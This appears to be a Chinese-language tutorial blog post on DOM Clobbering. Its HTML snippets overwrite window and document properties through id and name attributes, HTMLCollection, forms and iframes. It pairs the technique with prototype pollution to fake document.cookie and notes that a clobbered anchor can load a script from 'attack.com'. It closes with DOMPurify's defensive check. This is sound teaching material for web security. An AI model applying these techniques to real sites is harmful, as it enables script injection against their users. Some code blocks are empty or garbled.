前言
在这一章的攻击手法是通过改变DOM,然后js会对DOM进行操作造成的漏洞,干解释还是太干燥了,还是上代码吧
window
在讲DOM Clobbering之前,先得了解什么叫做window
https://www.w3schools.com/js/js_window.asp
这篇文章有简单的介绍
在一个窗口下,所有的全局javascript对象,都归到window底下,也就是平时的什么alert
,其实就是window.alert
可以在浏览器控制台自己输入下面的代码去验证1
2alert == window.alert
true
详细的介绍可以看看这篇
https://developer.mozilla.org/en-US/docs/Web/API/Window
https://www.jianshu.com/p/e5ca92d68daa
操作带id的tag
1 | <!DOCTYPE html> |
上面的代码应该怎么对这个button进行操作呢,比如让他弹窗。
下面给出代码1
2
3
4document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
但是其实并不需要document.getElementById
,window.btn
也可以直接获取到,然后因为在window下面,所以可以直接用btn
访问
所以直接用下面的代码就行了1
btn.onclick=()=>alert(1)
根据官方文档 https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-objectembed
, form
, img
, and object
这几个标签的name
属性也是可以被window直接获取的1
2
3
4<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
按理来说的话 iframe
标签应该也算是有这种特性1
<iframe name="a"></iframe>
DOM Clobbering入门
1 |
|
这样子script.src = window.TEST_SCRIPT_SRC
就会加载到a标签的href了,这里为什么不会把<a id="TEST_SCRIPT_SRC" href="http://attack.com"></a>
赋值给script.src
呢,这里的实际操作其实是script.src = TEST_SCRIPT_SRC.toString()
这里有一个小trick,当标签是<a>
或者<base>
,toString()会返回他们的href
当变量已经存在的时候,就无法通过id进行覆盖了1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
多层的DOM Clobbering
在上一节只是覆盖单个变量,当需要覆盖对象应该如何操作,比如覆盖掉config.isTest
,有几种方法进行覆盖
form
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
</script>
</body>
</html>这种方法有一种缺陷,无法使用上一节讲的
<a>
或者<base>
标签进行toString的覆盖,只能说是覆盖config.isTest.value
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value) // test
</script>
</body>
</html>HTMLCollection
这种方法在firefox上不可用,只能在chrome上用1
2
3
4
5
6
7
<html>
<body>
<a id="config" href="http://123"></a>
<a id="config" name="apiUrl" href="https://huli.tw"></a>
</body>
</html>当有两个相同的id的时候,就会生成
HTMLCollection
可以看到可以通过name属性来获取到值,当然还有其他的
通过config.config
可以获取到第一个,config.apiUrl
可以获取到第二个,接下来的操作就和上一节一样了
覆盖三层的话就可以把两个<a>
改为<form>
1
2
3
4
5
6
7
8
9
10
11
12<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
更多层的DOM Clobbering
1 |
|
可以通过iframe创建更多的层级,用setTimeout
是因为并不是同步加载的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>
拓展攻击面
前面几节的攻击手法都是攻击window
下面的变量,但是他有几个标签属性可以影响到document
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<form id=test>
<h1 name=lastElementChild>I am first child</h1>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild) // <div>I am last child</div>
console.log(document.getElementById) // <embed name=getElementById></embed>
</script>
</body>
</html>
与原型链污染搭配一起使用,就可以达到污染cookie的效果1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<script>
// 先假設我們可以 pollute 成 function
Object.prototype.toString = () => 'a=1'
console.log(`cookie: ${document.cookie}`) // cookie: a=1
</script>
</body>
</html>
先把cookie给改成html元素,然后原型链污染Object.prototype.toString = () => 'a=1'
是匿名函数的使用,让 toString
返回字符串 a=1
DOMPurify中的代码就会过滤这种情况1
2
3
4
5
6
7
8
9
10
11
12// https://github.com/cure53/DOMPurify/blob/d5060b309b5942fc5698070fbce83a781d31b8e9/src/purify.js#L1102
const _isValidAttribute = function (lcTag, lcName, value) {
/* Make sure attribute cannot clobber */
if (
SANITIZE_DOM &&
(lcName === 'id' || lcName === 'name') &&
(value in document || value in formElement)
) {
return false;
}
// ...
}
如果你的name
或id
存在于document中,就会直接返回false
Sanitizer API 就不会帮你做这方面的防护